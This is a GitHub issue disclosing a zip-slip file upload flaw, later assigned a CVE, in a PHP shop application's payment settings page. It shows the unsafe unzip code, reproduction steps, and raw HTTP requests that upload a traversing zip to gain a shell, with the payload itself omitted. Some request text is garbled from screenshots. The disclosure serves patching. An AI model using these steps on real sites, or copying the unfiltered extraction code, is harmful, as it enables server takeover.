

New issue

Jump to bottom

Compressed file upload getshell #8

Open

sviiviao opened this issue on May 28, 2021 · 1 comment

sviiviao commented on May 28, 2021

The cause of the vulnerability: When decompressing, the compressed files were not filtered and judged, which resulted in the possibility of uploading cross-directory zip files to getshell.

```

open app \ LKT \ webapp \ modules \ system \ actions \ payAction.class.php
Add Configuration...

P> app\index.php x LKT\index.php x payAction.class.php x

138 public function unzip($src_file, $dest_dir = false, $create_zip_name_dir = false, $overwrite = true)
139 {
140     if ($zip = zip_open($src_file)) {
141         if ($zip) {
142             $splitter = ($create_zip_name_dir === true) ? "." : "/";
143             if ($dest_dir === false) {
144                 $dest_dir = substr($src_file, start: 0, strrpos($src_file, $splitter)) . $splitter;
145             } // 如果不存在 创建目标解压目录
146             $this->create_dirs($dest_dir);
147             while ($zip_entry = zip_read($zip)) { // 对每个文件进行解压
148                 // 文件不在根目录
149                 $pos_last_slash = strrpos(zip_entry_name($zip_entry), needle: "/");
150                 if ($pos_last_slash !== false) {
151                     // 创建目录 在末尾带 /
152                     $this->create_dirs(path: $dest_dir . substr(zip_entry_name($zip_entry), start: 0, length: $pos_last_slash + 1));
153                 }
154                 // 打开包
155                 if (zip_entry_open($zip, $zip_entry, mode: "r")) {
156                     // 文件名保存在磁盘上
157                     $file_name = $dest_dir . zip_entry_name($zip_entry);
158                     if ($overwrite === true || $overwrite === false && !is_file($file_name)) {
159                         // 读取压缩文件的内容
160                         $fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
161                         file_put_contents($file_name, $fstream);
162                         // 设置权限
163                         chmod($file_name, mode: 0777);

```

Vulnerability Recurrence: Log in to the background and visit: /open/app/LKT/index.php?module=system&action=pay To upload a compressed file, put the malicious file that can be traversed into a zip, upload and decompress it.

The screenshot shows a web browser's developer tools with the Request and Response tabs open. The Request tab shows the raw HTTP request, and the Response tab shows the raw HTTP response.

Request

Raw Params Headers Hex

```
POST /open/app/LKT/index.php?module=system&action=pay HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----22809827021874544672920013866
Content-Length: 959
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/open/app/LKT/index.php?module=system&action=pay
Cookie: bdshare_firsttime=1609743336438; ECS[visit_times]=4; admin_mojavi=0kbneeltri2qm0ro901mbv61
Upgrade-Insecure-Requests: 1

-----22809827021874544672920013866
Content-Disposition: form-data; name="mch_id"

0

-----22809827021874544672920013866
Content-Disposition: form-data; name="mch_key"
```

111

Response

Raw Params Headers Hex

```
HTTP/1.1 200 OK
Date: Fri, 28 May 2021 12:57:44 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 117

<script
type="text/javascript">alert("修改成功！");location.href="index.php?module=system
&action=pay";</script>
```

Then access the path of the malicious file:

```
adii admin1 adad aaa admina admin 2wd axdas as
```

System	Windows NT DE
Build Date	Apr 2 2019 21:5
Compiler	MSVC15 (Visual

```
POST /open/app/LKT/index.php?module=system&action=pay HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----2280982702187454467292001386
Content-Length: 959
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/open/app/LKT/index.php?module=system&action=pay
Cookie: bdshare_firsttime=1609743336438; ECS[visit_times]=4; admin_mojavi=0kbnnei1r2iqm0opn9d1mnbv1
Upgrade-Insecure-Requests: 1

-----2280982702187454467292001386
Content-Disposition: form-data; name="mch_id"

0
-----2280982702187454467292001386
```

Content-Disposition: form-data; name="mch_key"

111

-----22809827021874544672920013866

Content-Disposition: form-data; name="upload_cert"; filename="debug.zip"

Content-Type: application/x-zip-compressed

//upload file

-----22809827021874544672920013866

Content-Disposition: form-data; name="mch_cert"

http://127.0.0.1/open/app/LKT/webapp/lib/cert

-----22809827021874544672920013866

Content-Disposition: form-data; name="Submit"

-----22809827021874544672920013866--

Upload was successful and executed successfully!

OS-WS commented on Jun 22, 2021

Hi @bettershop @sviivyo

This issue was assigned with [CVE-2021-34128](#).

Was it fixed?

Thanks!

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

